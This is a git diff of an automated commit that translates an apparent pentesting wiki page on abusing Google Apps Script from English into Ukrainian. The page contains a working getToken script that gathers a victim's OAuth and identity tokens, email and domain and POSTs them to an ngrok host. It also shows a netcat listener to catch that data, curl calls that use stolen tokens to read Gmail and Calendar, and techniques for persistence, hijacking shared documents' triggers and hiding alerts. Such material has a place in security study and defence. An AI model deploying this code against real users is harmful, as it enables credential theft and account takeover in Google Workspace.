Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:09:02 +00:00
parent 7770a50092
commit 4ecda9fe96
244 changed files with 8478 additions and 11318 deletions

View File

@@ -4,236 +4,224 @@
## App Scripts
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (постійність).
### Create App Script
### Створити App Script
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
Існує кілька способів створити App Script, хоча найпоширеніші з них - це **з Google Документу (будь-якого типу)** та як **окремий проект**:
<details>
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
<summary>Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides</summary>
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
2. Click **Extensions** > **Google Apps Script**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.
2. Натисніть **Розширення** > **Google Apps Script**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
</details>
<details>
<summary>Create a standalone project</summary>
<summary>Створити окремий проект</summary>
To create a standalone project from Apps Script:
Щоб створити окремий проект з Apps Script:
1. Go to [`script.google.com`](https://script.google.com/).
2. Click add **New Project**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Перейдіть на [`script.google.com`](https://script.google.com/).
2. Натисніть **Новий проект**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
</details>
<details>
<summary>Create a standalone project from Google Drive</summary>
<summary>Створити окремий проект з Google Drive</summary>
1. Open [Google Drive](https://drive.google.com/).
2. Click **New** > **More** > **Google Apps Script**.
1. Відкрийте [Google Drive](https://drive.google.com/).
2. Натисніть **Новий** > **Інше** > **Google Apps Script**.
</details>
<details>
<summary>Create a container-bound project from Google Forms</summary>
<summary>Створити проект, прив'язаний до контейнера, з Google Forms</summary>
1. Open a form in Google Forms.
2. Click More more_vert > **Script editor**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Відкрийте форму в Google Forms.
2. Натисніть Інше more_vert > **Редактор скриптів**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
</details>
<details>
<summary>Create a standalone project using the clasp command line tool</summary>
<summary>Створити окремий проект за допомогою інструменту командного рядка clasp</summary>
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
`clasp` - це інструмент командного рядка, який дозволяє створювати, витягувати/додавати та розгортати проекти Apps Script з терміналу.
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
</details>
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
## Сценарій App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
### Create Google Sheet with App Script
### Створити Google Sheet з App Script
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до **`Розширення > App Scripts`**, це відкриє **новий App Script, пов'язаний з таблицею**.
### Leak token
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
Щоб надати доступ до токена OAuth, вам потрібно натиснути на **`Сервіси +` і додати області, такі як**:
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
- **Gmail**: To access gmail data
- **Drive**: To access drive data
- **Google Sheets API**: So it works with the trigger
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
- **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
- **Gmail**: Для доступу до даних gmail
- **Drive**: Для доступу до даних drive
- **Google Sheets API**: Щоб це працювало з тригером
Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
To capture the request you can just run:
Щоб захопити запит, ви можете просто виконати:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:
Запити на дозволи для виконання App Script:
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
> Оскільки здійснюється зовнішній запит, запит OAuth також **попросить дозволи на доступ до зовнішніх кінцевих точок**.
### Create Trigger
### Створити тригер
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, виконується на розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете щось налагодити.
### Sharing
### Спільний доступ
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**.
> [!TIP]
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як редактор іншими користувачами.
### Abusing Shared With Me documents
### Зловживання документами, поділеними зі мною
> [!CAUTION]
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що токен OAuth власника матиме такі області доступу, які були надані під час створення тригера).
>
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
> **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
> [!TIP]
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
> Якщо **зловмисник змінює області доступу App Script**, оновлення **не будуть застосовані** до документа, поки не буде створено **новий тригер** з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив.
### Copying instead of sharing
### Копіювання замість спільного доступу
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Якщо ви **зміните** закінчення **"/edit"** на **"/copy"**, замість доступу до нього Google запитає вас, чи хочете ви **створити копію документа:**
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
Якщо користувач копіює його та отримує доступ, як **вміст документа, так і App Scripts будуть скопійовані**, однак **тригери не будуть**, тому **нічого не буде виконано**.
### Sharing as Web Application
### Спільний доступ як веб-додаток
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
Зверніть увагу, що також можливо **поділитися App Script як веб-додатком** (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
Followed by the **typical OAuth prompt asking** for the needed permissions.
Після чого з'явиться **типове сповіщення OAuth, що запитує** необхідні дозволи.
### Testing
You can test a gathered token to list emails with:
### Тестування
Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
List calendar of the user:
Список календаря користувача:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script як Постійність
## App Script as Persistence
Одним з варіантів постійності було б **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**:
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер і виберіть опції, які вам найбільше підходять:
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> This will create a security alert email and a push message to your mobile alerting about this.
> Це створить електронний лист про безпеку та push-повідомлення на ваш мобільний телефон, що сповіщає про це.
### Shared Document Unverified Prompt Bypass
### Обхід Неперевіреного Запиту Спільного Документа
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створити **App Scripts всередині документа**, і **ВЛАСНИК (творець) документа буде власником App Script**.
> [!WARNING]
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який будь-хто з доступом редактора створює всередині нього.
>
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
> Це також означає, що **App Script буде довірятися середовищу Workspace** творця документа.
> [!CAUTION]
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
> Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один цікавий трюк - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів `<img>`).
{{#include ../../../banners/hacktricks-training.md}}